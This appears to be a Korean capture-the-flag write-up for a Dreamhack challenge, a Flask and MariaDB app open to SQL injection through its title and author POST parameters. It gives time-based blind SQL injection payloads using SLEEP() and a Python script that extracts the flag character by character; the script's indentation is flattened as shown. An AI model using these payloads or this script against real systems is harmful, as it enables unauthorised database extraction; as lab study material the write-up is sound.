환경
- Python 3.10 버전의 Flask로 구성된 웹 서버.
- MariaDB와 연동하여 데이터를 저장한다.
- 기본페이지[/]에서 POST 메서드를 사용해 title, author 파라미터로 데이터를 삽입할 수 있다.
접근
- POST로 받은 사용자 입력 값에 대한 검증이 존재하지 않고, prepare statement를 사용하지 않으므로 SQL Injection 공격이 가능할 것이라고 판단된다.
- 응답은 “Thank you! …”와 “Error…”로 나뉘므로 Blind SQL Injection을 시도할 수 있을 듯하다.

풀이
- 아래와 같이 두 페이로드를 삽입하면 참과 거짓이 나올 줄 알았으나, 모두 참에 대한 결과를 반환한다. 그러므로 Blind SQL Injection이 아닌 Time-based SQL Injection으로 데이터를 추출한다.
1' AND IF((SELECT SUBSTR(author,1,1) FROM requests WHERE id=1)='D', 1, 0) ;-- -
1' AND IF((SELECT SUBSTR(author,1,1) FROM requests WHERE id=1)='A', 1, 0) ;-- -
- 참일 경우, SLEEP() 함수로 응답에 딜레이를 걸어서 참/거짓의 유무를 판단한다. 참이라면 페이지가 늦게 렌더링 되고, 거짓이라면 바로 반환된다.
1' AND IF((SELECT SUBSTR(author,1,1) FROM requests WHERE id=1)='D', SLEEP(3), 0) ;-- -
PoC 코드
import requests
import time
url = 'http://host1.dreamhack.games:9634/'
flag_value= "0123456789abcdef}"
flag = ''
while True:
for flag_digit in range(4,100):
for flag_word in flag_value:
body = {
"title": "1",
"author": f"1' AND IF((SELECT SUBSTR(author,{flag_digit},1) FROM requests WHERE id=1)='{flag_word}', SLEEP(3), 0) ;-- -"
}
time_start = time.time()
response = requests.post(url, data=body, timeout=10)
time_end = time.time() - time_start
if (time_end >= 3):
flag += flag_word
break
if (flag[-1] == '}'):
break
break
print(f"DH{{{flag}")
결과
POC 코드를 실행하면 3분 정도 기다리면 아래와 같이 플래그를 획득할 수 있다.

